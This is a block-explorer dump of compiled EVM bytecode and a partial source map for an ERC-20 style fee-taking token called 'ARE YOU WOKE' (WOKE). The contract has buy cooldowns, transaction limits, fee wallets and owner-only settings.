b46565b6001600160a01b0380861660009081526007602052604080822093909355908516815220546110089083611625565b6001600160a01b0380851660008181526007602052604090819020939093559151908616906000805160206119798339815191529061104a9086815260200190565b60405180910390a35060019392505050565b601f546000906001600160a01b0316331480159061107d575060245460ff16155b801561108b575060225460ff165b8015610a4f57505060235430600090815260076020526040902054101590565b6024805460ff19166001179055601c54601d546000916110ca9161087c565b6110d657600d546110d9565b60005b905060006110fd6002610b2e601254610b2e86602354610ec490919063ffffffff16565b9050600061111682602354610e8290919063ffffffff16565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611150576111506118c3565b6001600160a01b0392831660209182029290920101526001805483519216918391908110611180576111806118c3565b6001600160a01b039283166020918202929092010152601e5460405163791ac94760e01b81524792919091169063791ac947906111ca9086906000908790309042906004016118d9565b600060405180830381600087803b1580156111e457600080fd5b505af11580156111f8573d6000803e3d6000fd5b5050505060006112118247610e8290919063ffffffff16565b9050600061122c611223886002610f46565b60125490610e82565b905060006112416002610b2e8481878d610ec4565b9050600061125e83610b2e600e5487610ec490919063ffffffff16565b9050600061127b84610b2e60105488610ec490919063ffffffff16565b9050600061129885610b2e600f5489610ec490919063ffffffff16565b6018546040519192506000916001600160a01b039091169061753090869084818181858888f193505050503d80600081146112ef576040519150601f19603f3d011682016040523d82523d6000602084013e6112f4565b606091505b50506019546040519192506001600160a01b0316906175309084906000818181858888f193505050503d8060008114611349576040519150601f19603f3d011682016040523d82523d6000602084013e61134e565b606091505b5050601a546040519192506001600160a01b0316906175309085906000818181858888f193505050503d80600081146113a3576040519150601f19603f3d011682016040523d82523d6000602084013e6113a8565b606091505b5060009250508b15905061148857601e5460175460405163f305d71960e01b8152306004820152602481018e905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990879060c40160606040518083038185885af1158015611426573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061144b919061194a565b505060408051878152602081018e90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506024805460ff1916905550505050505050505050565b600080826114af5760646114b3565b6016545b905060006114e260135460646114c99190611853565b610b2e84610b216012548a610ec490919063ffffffff16565b9050831580156115005750436014546015546114fe9190611894565b115b15611518576115156063610b21876064610f46565b90505b6000611535601254610b2e60115485610ec490919063ffffffff16565b905060006115438383610e82565b306000908152600760205260409020549091506115609082611625565b3060009081526007602052604080822092909255601b546001600160a01b03168152205461158e9083611625565b601b546001600160a01b0390811660009081526007602090815260409182902093909355518381523092918b1691600080516020611979833981519152910160405180910390a3811561160f57601b546040518381526001600160a01b03918216918a16906000805160206119798339815191529060200160405180910390a35b6116198784610e82565b98975050505050505050565b6000806116328385611894565b9050838110156109fb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016108ba565b600081836116a55760405162461bcd60e51b81526004016108ba91906116b2565b506000610b778486611872565b600060208083528351808285015260005b818110156116df578581018301518582016040015282016116c3565b818111156116f1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461171c57600080fd5b50565b6000806040838503121561173257600080fd5b823561173d81611707565b946020939093013593505050565b6000806040838503121561175e57600080fd5b50508035926020909101359150565b60006020828403121561177f57600080fd5b5035919050565b60008060006060848603121561179b57600080fd5b83356117a681611707565b925060208401356117b681611707565b929592945050506040919091013590565b6000602082840312156117d957600080fd5b81356109fb81611707565b600080604083850312156117f757600080fd5b823561180281611707565b9150602083013561181281611707565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561186d5761186d61183d565b500290565b60008261188f57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118a7576118a761183d565b500190565b6000828210156118be576118be61183d565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119295784516001600160a01b031683529383019391830191600101611904565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561195f57600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212206d022a21bb966c71d84e326a6100b15874012efab9739e661664b52bf13e81ac64736f6c634300080e0033

Deployed Bytecode

0x60806040526004361061026b5760003560e01c806378051f4d11610144578063d51ed1c8116100b6578063e96fada21161007a578063e96fada21461076c578063f887ea401461078c578063fabb0b4f146107ac578063fce589d8146107c2578063fed0d2a1146107d8578063ffb54a99146107ee57600080fd5b8063d51ed1c8146106a6578063d5759ade146106c6578063dab84ee7146106e6578063dd62ed3e14610706578063e3763ded1461074c57600080fd5b806398118cb41161010857806398118cb414610604578063a8aa1b311461061a578063a9059cbb1461063a578063bf56b3711461065a578063ca33e64c14610670578063cc32d1761461069057600080fd5b806378051f4d1461056d57806378109e541461058d5780637d1db4a5146105a3578063893d20e8146105b957806395d89b41146105d757600080fd5b80632b112e49116101dd578063617fe0ed116101a1578063617fe0ed146104af5780636827e764146104d05780636b67c4df146104e65780636ddd1713146104fc57806370a0823114610516578063722b62ad1461054c57600080fd5b80632b112e49146104095780632f54bf6e1461041e578063313ce5671461044d5780634d709adf1461046f578063571ac8b01461048f57600080fd5b806318160ddd1161022f57806318160ddd146103445780631da1db5e146103595780631df4ccfc1461037b578063201e79911461039157806323b872dd146103b15780632af10fac146103d157600080fd5b80630445b6671461027757806306fdde03146102a0578063095ea7b3146102de5780631161ae391461030e578063180b0d7e1461032e57600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028d60235481565b6040519081526020015b60405180910390f35b3480156102ac57600080fd5b5060408051808201909152600c81526b41524520594f5520574f4b4560a01b60208201525b60405161029791906116b2565b3480156102ea57600080fd5b506102fe6102f936600461171f565b61080f565b6040519015158152602001610297565b34801561031a57600080fd5b506102fe61032936600461174b565b61087c565b34801561033a57600080fd5b5061028d60135481565b34801561035057600080fd5b5060045461028d565b34801561036557600080fd5b5061037961037436600461176d565b610890565b005b34801561038757600080fd5b5061028d60125481565b34801561039d57600080fd5b506103796103ac36600461174b565b61090b565b3480156103bd57600080fd5b506102fe6103cc366004611786565b610940565b3480156103dd57600080fd5b506019546103f1906001600160a01b031681565b6040516001600160a01b039091168152602001610297565b34801561041557600080fd5b5061028d610a02565b34801561042a57600080fd5b506102fe6104393660046117c7565b6000546001600160a01b0391821691161490565b34801561045957600080fd5b5060095b60405160ff9091168152602001610297565b34801561047b57600080fd5b506020546103f1906001600160a01b031681565b34801561049b57600080fd5b506102fe6104aa3660046117c7565b610a54565b3480156104bb57600080fd5b506020546102fe90600160a81b900460ff1681565b3480156104dc57600080fd5b5061028d60105481565b3480156104f257600080fd5b5061028d600e5481565b34801561050857600080fd5b506022546102fe9060ff1681565b34801561052257600080fd5b5061028d6105313660046117c7565b6001600160a01b031660009081526007602052604090205490565b34801561055857600080fd5b5060205461045d90600160b01b900460ff1681565b34801561057957600080fd5b506103796105883660046117c7565b610a62565b34801561059957600080fd5b5061028d60065481565b3480156105af57600080fd5b5061028d60055481565b3480156105c557600080fd5b506000546001600160a01b03166103f1565b3480156105e357600080fd5b50604080518082019091526004815263574f4b4560e01b60208201526102d1565b34801561061057600080fd5b5061028d600d5481565b34801561062657600080fd5b50601f546103f1906001600160a01b031681565b34801561064657600080fd5b506102fe61065536600461171f565b610ae0565b34801561066657600080fd5b5061028d60155481565b34801561067c57600080fd5b506017546103f1906001600160a01b031681565b34801561069c57600080fd5b5061028d600f5481565b3480156106b257600080fd5b5061028d6106c136600461176d565b610aed565b3480156106d257600080fd5b506103796106e136600461176d565b610b34565b3480156106f257600080fd5b50601a546103f1906001600160a01b031681565b34801561071257600080fd5b5061028d6107213660046117e4565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561075857600080fd5b50601b546103f1906001600160a01b031681565b34801561077857600080fd5b506018546103f1906001600160a01b031681565b34801561079857600080fd5b50601e546103f1906001600160a01b031681565b3480156107b857600080fd5b5061028d60145481565b3480156107ce57600080fd5b5061028d60115481565b3480156107e457600080fd5b5061028d60165481565b3480156107fa57600080fd5b506020546102fe90600160a01b900460ff1681565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061086a9086815260200190565b60405180910390a35060015b92915050565b60008261088883610aed565b119392505050565b6000546001600160a01b031633146108c35760405162461bcd60e51b81526004016108ba9061181d565b60405180910390fd5b47336108fc60646108d48585611853565b6108de9190611872565b6040518115909202916000818181858888f19350505050158015610906573d6000803e3d6000fd5b505050565b6000546001600160a01b031633146109355760405162461bcd60e51b81526004016108ba9061181d565b601c91909155601d55565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146109ed576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546109c8918490610b46565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b6109f8848484610b80565b90505b9392505050565b6003546001600160a01b0316600090815260076020526040812054610a4f906002546001600160a01b0316600090815260076020526040902054610a499060045490610e82565b90610e82565b905090565b60006108768260001961080f565b6000546001600160a01b03163314610a8c5760405162461bcd60e51b81526004016108ba9061181d565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b60006109fb338484610b80565b6000610876610afa610a02565b601f546001600160a01b0316600090815260076020526040902054610b2e90610b27906002905b90610ec4565b8590610ec4565b90610f46565b610b4081612648611894565b60165550565b60008184841115610b6a5760405162461bcd60e51b81526004016108ba91906116b2565b506000610b7784866118ac565b95945050505050565b60245460009060ff1615610ba057610b99848484610f88565b90506109fb565b601f546001600160a01b038581169116148015610bc65750602054600160a81b900460ff165b8015610beb57506001600160a01b0383166000908152600b602052604090205460ff16155b15610c96576001600160a01b0383166000908152602160205260409020544211610c655760405162461bcd60e51b815260206004820152602560248201527f506c65617365207761697420666f7220316d696e206265747765656e2074776f604482015264206275797360d81b60648201526084016108ba565b602054610c7c90600160b01b900460ff1642611894565b6001600160a01b0384166000908152602160205260409020555b60055482111580610cbf57506001600160a01b0384166000908152600a602052604090205460ff165b80610ce257506001600160a01b0383166000908152600a602052604090205460ff165b610d265760405162461bcd60e51b815260206004820152601560248201527413585e08151608131a5b5a5d08115e18d959591959605a1b60448201526064016108ba565b610d2e61105c565b15610d3b57610d3b6110ab565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260079091529190912054610d8d918490610b46565b6001600160a01b038516600090815260076020908152604080832093909355600990529081205460ff16151580610dde57506001600160a01b03841660009081526009602052604090205460ff1615155b610e0557601f54610e0090869085906001600160a01b038881169116146114a0565b610e07565b825b6001600160a01b038516600090815260076020526040902054909150610e2d9082611625565b6001600160a01b03808616600081815260076020526040908190209390935591519087169060008051602061197983398151915290610e6f9085815260200190565b60405180910390a3506001949350505050565b60006109fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b46565b600082600003610ed657506000610876565b6000610ee28385611853565b905082610eef8583611872565b146109fb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016108ba565b60006109fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611684565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054610fd9918490610b46565b6001600160a01b0380861660009081526007602052604080822093909355908516815220546110089083611625565b6001600160a01b0380851660008181526007602052604090819020939093559151908616906000805160206119798339815191529061104a9086815260200190565b60405180910390a35060019392505050565b601f546000906001600160a01b0316331480159061107d575060245460ff16155b801561108b575060225460ff165b8015610a4f57505060235430600090815260076020526040902054101590565b6024805460ff19166001179055601c54601d546000916110ca9161087c565b6110d657600d546110d9565b60005b905060006110fd6002610b2e601254610b2e86602354610ec490919063ffffffff16565b9050600061111682602354610e8290919063ffffffff16565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611150576111506118c3565b6001600160a01b0392831660209182029290920101526001805483519216918391908110611180576111806118c3565b6001600160a01b039283166020918202929092010152601e5460405163791ac94760e01b81524792919091169063791ac947906111ca9086906000908790309042906004016118d9565b600060405180830381600087803b1580156111e457600080fd5b505af11580156111f8573d6000803e3d6000fd5b5050505060006112118247610e8290919063ffffffff16565b9050600061122c611223886002610f46565b60125490610e82565b905060006112416002610b2e8481878d610ec4565b9050600061125e83610b2e600e5487610ec490919063ffffffff16565b9050600061127b84610b2e60105488610ec490919063ffffffff16565b9050600061129885610b2e600f5489610ec490919063ffffffff16565b6018546040519192506000916001600160a01b039091169061753090869084818181858888f193505050503d80600081146112ef576040519150601f19603f3d011682016040523d82523d6000602084013e6112f4565b606091505b50506019546040519192506001600160a01b0316906175309084906000818181858888f193505050503d8060008114611349576040519150601f19603f3d011682016040523d82523d6000602084013e61134e565b606091505b5050601a546040519192506001600160a01b0316906175309085906000818181858888f193505050503d80600081146113a3576040519150601f19603f3d011682016040523d82523d6000602084013e6113a8565b606091505b5060009250508b15905061148857601e5460175460405163f305d71960e01b8152306004820152602481018e905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990879060c40160606040518083038185885af1158015611426573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061144b919061194a565b505060408051878152602081018e90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506024805460ff1916905550505050505050505050565b600080826114af5760646114b3565b6016545b905060006114e260135460646114c99190611853565b610b2e84610b216012548a610ec490919063ffffffff16565b9050831580156115005750436014546015546114fe9190611894565b115b15611518576115156063610b21876064610f46565b90505b6000611535601254610b2e60115485610ec490919063ffffffff16565b905060006115438383610e82565b306000908152600760205260409020549091506115609082611625565b3060009081526007602052604080822092909255601b546001600160a01b03168152205461158e9083611625565b601b546001600160a01b0390811660009081526007602090815260409182902093909355518381523092918b1691600080516020611979833981519152910160405180910390a3811561160f57601b546040518381526001600160a01b03918216918a16906000805160206119798339815191529060200160405180910390a35b6116198784610e82565b98975050505050505050565b6000806116328385611894565b9050838110156109fb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016108ba565b600081836116a55760405162461bcd60e51b81526004016108ba91906116b2565b506000610b778486611872565b600060208083528351808285015260005b818110156116df578581018301518582016040015282016116c3565b818111156116f1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461171c57600080fd5b50565b6000806040838503121561173257600080fd5b823561173d81611707565b946020939093013593505050565b6000806040838503121561175e57600080fd5b50508035926020909101359150565b60006020828403121561177f57600080fd5b5035919050565b60008060006060848603121561179b57600080fd5b83356117a681611707565b925060208401356117b681611707565b929592945050506040919091013590565b6000602082840312156117d957600080fd5b81356109fb81611707565b600080604083850312156117f757600080fd5b823561180281611707565b9150602083013561181281611707565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561186d5761186d61183d565b500290565b60008261188f57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118a7576118a761183d565b500190565b6000828210156118be576118be61183d565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119295784516001600160a01b031683529383019391830191600101611904565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561195f57600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212206d022a21bb966c71d84e326a6100b15874012efab9739e661664b52bf13e81ac64736f6c634300080e0033

Deployed Bytecode Sourcemap

4925:10714:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6877:56;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;6877:56:0;;;;;;;;8493:80;;;;;;;;;;-1:-1:-1;8565:5:0;;;;;;;;;;;;-1:-1:-1;;;8565:5:0;;;;8493:80;;;;;;;:::i;8915:216::-;;;;;;;;;;-1:-1:-1;8915:216:0;;;;;:::i;:::-;;:::i;:::-;;;1419:14:1;;1412:22;1394:41;;1382:2;1367:18;8915:216:0;1254:187:1;15421:150:0;;;;;;;;;;-1:-1:-1;15421:150:0;;;;;:::i;:::-;;:::i;6110:36::-;;;;;;;;;;;;;;;;8223:88;;;;;;;;;;-1:-1:-1;8296:12:0;;8223:88;;12766:207;;;;;;;;;;-1:-1:-1;12766:207:0;;;;;:::i;:::-;;:::i;:::-;;6010:93;;;;;;;;;;;;;;;;14902:182;;;;;;;;;;-1:-1:-1;14902:182:0;;;;;:::i;:::-;;:::i;9433:370::-;;;;;;;;;;-1:-1:-1;9433:370:0;;;;;:::i;:::-;;:::i;6357:34::-;;;;;;;;;;-1:-1:-1;6357:34:0;;;;-1:-1:-1;;;;;6357:34:0;;;;;;-1:-1:-1;;;;;2509:32:1;;;2491:51;;2479:2;2464:18;6357:34:0;2345:203:1;15096:142:0;;;;;;;;;;;;;:::i;3085:103::-;;;;;;;;;;-1:-1:-1;3085:103:0;;;;;:::i;:::-;3140:4;3175:5;-1:-1:-1;;;;;3164:16:0;;;3175:5;;3164:16;;3085:103;8317:80;;;;;;;;;;-1:-1:-1;5308:1:0;8317:80;;;2977:4:1;2965:17;;;2947:36;;2935:2;2920:18;8317:80:0;2805:184:1;6614:31:0;;;;;;;;;;-1:-1:-1;6614:31:0;;;;-1:-1:-1;;;;;6614:31:0;;;9139:122;;;;;;;;;;-1:-1:-1;9139:122:0;;;;;:::i;:::-;;:::i;6693:38::-;;;;;;;;;;-1:-1:-1;6693:38:0;;;;-1:-1:-1;;;6693:38:0;;;;;;5928:34;;;;;;;;;;;;;;;;5846;;;;;;;;;;;;;;;;6840:30;;;;;;;;;;-1:-1:-1;6840:30:0;;;;;;;;8663:105;;;;;;;;;;-1:-1:-1;8663:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;8747:18:0;8729:7;8747:18;;;:9;:18;;;;;;;8663:105;6738:39;;;;;;;;;;-1:-1:-1;6738:39:0;;;;-1:-1:-1;;;6738:39:0;;;;;;3196:136;;;;;;;;;;-1:-1:-1;3196:136:0;;;;;:::i;:::-;;:::i;5434:55::-;;;;;;;;;;;;;;;;5375:52;;;;;;;;;;;;;;;;8579:78;;;;;;;;;;-1:-1:-1;8631:7:0;8649:5;-1:-1:-1;;;;;8649:5:0;8579:78;;8403:84;;;;;;;;;;-1:-1:-1;8477:7:0;;;;;;;;;;;;-1:-1:-1;;;8477:7:0;;;;8403:84;;5805:34;;;;;;;;;;;;;;;;6588:19;;;;;;;;;;-1:-1:-1;6588:19:0;;;;-1:-1:-1;;;;;6588:19:0;;;9269:156;;;;;;;;;;-1:-1:-1;9269:156:0;;;;;:::i;:::-;;:::i;6191:29::-;;;;;;;;;;;;;;;;6272:36;;;;;;;;;;-1:-1:-1;6272:36:0;;;;-1:-1:-1;;;;;6272:36:0;;;5887:34;;;;;;;;;;;;;;;;15246:167;;;;;;;;;;-1:-1:-1;15246:167:0;;;;;:::i;:::-;;:::i;11420:93::-;;;;;;;;;;-1:-1:-1;11420:93:0;;;;;:::i;:::-;;:::i;6398:29::-;;;;;;;;;;-1:-1:-1;6398:29:0;;;;-1:-1:-1;;;;;6398:29:0;;;8774:133;;;;;;;;;;-1:-1:-1;8774:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;8876:19:0;;;8858:7;8876:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;8774:133;6434:30;;;;;;;;;;-1:-1:-1;6434:30:0;;;;-1:-1:-1;;;;;6434:30:0;;;6315:35;;;;;;;;;;-1:-1:-1;6315:35:0;;;;-1:-1:-1;;;;;6315:35:0;;;6557:24;;;;;;;;;;-1:-1:-1;6557:24:0;;;;-1:-1:-1;;;;;6557:24:0;;;6155:29;;;;;;;;;;;;;;;;5969:34;;;;;;;;;;;;;;;;6227:36;;;;;;;;;;;;;;;;6654:30;;;;;;;;;;-1:-1:-1;6654:30:0;;;;-1:-1:-1;;;6654:30:0;;;;;;8915:216;9019:10;8990:4;9007:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;9007:32:0;;;;;;;;;;:41;;;9064:37;8990:4;;9007:32;;9064:37;;;;9042:6;160:25:1;;148:2;133:18;;14:177;9064:37:0;;;;;;;;-1:-1:-1;9119:4:0;8915:216;;;;;:::o;15421:150::-;15501:4;15557:6;15525:29;15545:8;15525:19;:29::i;:::-;:38;;15421:150;-1:-1:-1;;;15421:150:0:o;12766:207::-;3140:4;3175:5;-1:-1:-1;;;;;3175:5:0;3044:10;3164:16;3028:38;;;;-1:-1:-1;;;3028:38:0;;;;;;;:::i;:::-;;;;;;;;;12869:21:::1;12909:10;12901:64;12961:3;12930:28;12942:16:::0;12869:21;12930:28:::1;:::i;:::-;:34;;;;:::i;:::-;12901:64;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12838:135;12766:207:::0;:::o;14902:182::-;3140:4;3175:5;-1:-1:-1;;;;;3175:5:0;3044:10;3164:16;3028:38;;;;-1:-1:-1;;;3028:38:0;;;;;;;:::i;:::-;14999:15:::1;:25:::0;;;;15035:26:::1;:41:::0;14902:182::o;9433:370::-;-1:-1:-1;;;;;9553:19:0;;9533:4;9553:19;;;:11;:19;;;;;;;;9573:10;9553:31;;;;;;;;-1:-1:-1;;9553:52:0;9550:186;;9655:69;;;;;;;;;;;-1:-1:-1;;;9655:69:0;;;;;;;;-1:-1:-1;;;;;9655:19:0;;-1:-1:-1;9655:19:0;;;:11;:19;;;;;9675:10;9655:31;;;;;;;;;;:69;;9691:6;;9655:35;:69::i;:::-;-1:-1:-1;;;;;9621:19:0;;;;;;:11;:19;;;;;;;;9641:10;9621:31;;;;;;;:103;9550:186;9755:40;9769:6;9777:9;9788:6;9755:13;:40::i;:::-;9748:47;;9433:370;;;;;;:::o;15096:142::-;15224:4;;-1:-1:-1;;;;;15224:4:0;15149:7;8747:18;;;:9;:18;;;;;;15176:54;;15203:4;;-1:-1:-1;;;;;15203:4:0;8729:7;8747:18;;;:9;:18;;;;;;15176:33;;:12;;;:16;:33::i;:::-;:37;;:54::i;:::-;15169:61;;15096:142;:::o;9139:122::-;9194:4;9218:35;9226:7;-1:-1:-1;;9218:7:0;:35::i;3196:136::-;3140:4;3175:5;-1:-1:-1;;;;;3175:5:0;3044:10;3164:16;3028:38;;;;-1:-1:-1;;;3028:38:0;;;;;;;:::i;:::-;3272:5:::1;:11:::0;;-1:-1:-1;;;;;;3272:11:0::1;-1:-1:-1::0;;;;;3272:11:0;::::1;::::0;;::::1;::::0;;;3299:25:::1;::::0;2491:51:1;;;3299:25:0::1;::::0;2479:2:1;2464:18;3299:25:0::1;;;;;;;3196:136:::0;:::o;9269:156::-;9349:4;9373:44;9387:10;9399:9;9410:6;9373:13;:44::i;15246:167::-;15314:7;15341:64;15382:22;:20;:22::i;:::-;15364:4;;-1:-1:-1;;;;;15364:4:0;8729:7;8747:18;;;:9;:18;;;;;;15341:36;;15354:22;;15374:1;;15354:15;:19;;:22::i;:::-;15341:8;;:12;:36::i;:::-;:40;;:64::i;11420:93::-;11491:14;:9;11501:4;11491:14;:::i;:::-;11474;:31;-1:-1:-1;11420:93:0:o;1164:192::-;1250:7;1286:12;1278:6;;;;1270:29;;;;-1:-1:-1;;;1270:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1310:9:0;1322:5;1326:1;1322;:5;:::i;:::-;1310:17;1164:192;-1:-1:-1;;;;;1164:192:0:o;9811:1089::-;9923:6;;9903:4;;9923:6;;9920:63;;;9939:41;9954:6;9962:9;9973:6;9939:14;:41::i;:::-;9932:48;;;;9920:63;10017:4;;-1:-1:-1;;;;;10007:14:0;;;10017:4;;10007:14;:49;;;;-1:-1:-1;10038:18:0;;-1:-1:-1;;;10038:18:0;;;;10007:49;:94;;;;-1:-1:-1;;;;;;10074:27:0;;;;;;:16;:27;;;;;;;;10073:28;10007:94;10003:299;;;-1:-1:-1;;;;;10126:24:0;;;;;;:13;:24;;;;;;10153:15;-1:-1:-1;10118:91:0;;;;-1:-1:-1;;;10118:91:0;;5642:2:1;10118:91:0;;;5624:21:1;5681:2;5661:18;;;5654:30;5720:34;5700:18;;;5693:62;-1:-1:-1;;;5771:18:1;;;5764:35;5816:19;;10118:91:0;5440:401:1;10118:91:0;10269:21;;10251:39;;-1:-1:-1;;;10269:21:0;;;;10251:15;:39;:::i;:::-;-1:-1:-1;;;;;10224:24:0;;;;;;:13;:24;;;;;:66;10003:299;10333:12;;10323:6;:22;;10322:51;;;-1:-1:-1;;;;;;10350:23:0;;;;;;:15;:23;;;;;;;;10322:51;:81;;;-1:-1:-1;;;;;;10377:26:0;;;;;;:15;:26;;;;;;;;10322:81;10314:115;;;;-1:-1:-1;;;10314:115:0;;6048:2:1;10314:115:0;;;6030:21:1;6087:2;6067:18;;;6060:30;-1:-1:-1;;;6106:18:1;;;6099:51;6167:18;;10314:115:0;5846:345:1;10314:115:0;10445:16;:14;:16::i;:::-;10442:35;;;10464:10;:8;:10::i;:::-;10536:53;;;;;;;;;;;-1:-1:-1;;;10536:53:0;;;;;;;;-1:-1:-1;;;;;10536:17:0;;-1:-1:-1;10536:17:0;;;:9;:17;;;;;;;;:53;;10558:6;;10536:21;:53::i;:::-;-1:-1:-1;;;;;10516:17:0;;;;;;:9;:17;;;;;;;;:73;;;;11608:11;:19;;;;;;;;11607:20;10628:22;:51;;;-1:-1:-1;;;;;;11608:19:0;;11583:4;11608:19;;;:11;:19;;;;;;;;11607:20;10654:25;10628:51;10627:108;;10729:4;;10692:43;;10700:6;;10708;;-1:-1:-1;;;;;10716:17:0;;;10729:4;;10716:17;10692:7;:43::i;:::-;10627:108;;;10683:6;10627:108;-1:-1:-1;;;;;10769:20:0;;;;;;:9;:20;;;;;;10602:133;;-1:-1:-1;10769:40:0;;10602:133;10769:24;:40::i;:::-;-1:-1:-1;;;;;10746:20:0;;;;;;;:9;:20;;;;;;;:63;;;;10827:43;;;;;;-1:-1:-1;;;;;;;;;;;10827:43:0;;;10855:14;160:25:1;;148:2;133:18;;14:177;10827:43:0;;;;;;;;-1:-1:-1;10888:4:0;;9811:1089;-1:-1:-1;;;;9811:1089:0:o;1022:136::-;1080:7;1107:43;1111:1;1114;1107:43;;;;;;;;;;;;;;;;;:3;:43::i;1362:250::-;1420:7;1444:1;1449;1444:6;1440:47;;-1:-1:-1;1474:1:0;1467:8;;1440:47;1499:9;1511:5;1515:1;1511;:5;:::i;:::-;1499:17;-1:-1:-1;1544:1:0;1535:5;1539:1;1499:17;1535:5;:::i;:::-;:10;1527:56;;;;-1:-1:-1;;;1527:56:0;;6398:2:1;1527:56:0;;;6380:21:1;6437:2;6417:18;;;6410:30;6476:34;6456:18;;;6449:62;-1:-1:-1;;;6527:18:1;;;6520:31;6568:19;;1527:56:0;6196:397:1;1618:132:0;1676:7;1703:39;1707:1;1710;1703:39;;;;;;;;;;;;;;;;;:3;:39::i;10908:330::-;11038:53;;;;;;;;;;;-1:-1:-1;;;11038:53:0;;;;;;;;-1:-1:-1;;;;;11038:17:0;;11001:4;11038:17;;;:9;:17;;;;;;;:53;;11060:6;;11038:21;:53::i;:::-;-1:-1:-1;;;;;11018:17:0;;;;;;;:9;:17;;;;;;:73;;;;11125:20;;;;;;;:32;;11150:6;11125:24;:32::i;:::-;-1:-1:-1;;;;;11102:20:0;;;;;;;:9;:20;;;;;;;:55;;;;11173:35;;;;;;-1:-1:-1;;;;;;;;;;;11173:35:0;;;11201:6;160:25:1;;148:2;133:18;;14:177;11173:35:0;;;;;;;;-1:-1:-1;11226:4:0;10908:330;;;;;:::o;12561:197::-;12648:4;;12610;;-1:-1:-1;;;;;12648:4:0;12634:10;:18;;;;:38;;-1:-1:-1;12666:6:0;;;;12665:7;12634:38;:62;;;;-1:-1:-1;12685:11:0;;;;12634:62;:116;;;;-1:-1:-1;;12737:13:0;;12727:4;12709:24;;;;:9;:24;;;;;;:41;;;12561:197::o;12981:1913::-;6980:6;:13;;-1:-1:-1;;6980:13:0;6989:4;6980:13;;;13076:15:::1;::::0;13093:26:::1;::::0;6980:6;;13060:60:::1;::::0;:15:::1;:60::i;:::-;:79;;13127:12;;13060:79;;;13123:1;13060:79;13030:109;;13150:23;13176:59;13233:1;13176:52;13219:8;;13176:38;13194:19;13176:13;;:17;;:38;;;;:::i;:59::-;13150:85;;13246:20;13269:34;13287:15;13269:13;;:17;;:34;;;;:::i;:::-;13340:16;::::0;;13354:1:::1;13340:16:::0;;;;;::::1;::::0;;13246:57;;-1:-1:-1;13316:21:0::1;::::0;13340:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13340:16:0::1;13316:40;;13385:4;13367;13372:1;13367:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13367:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;: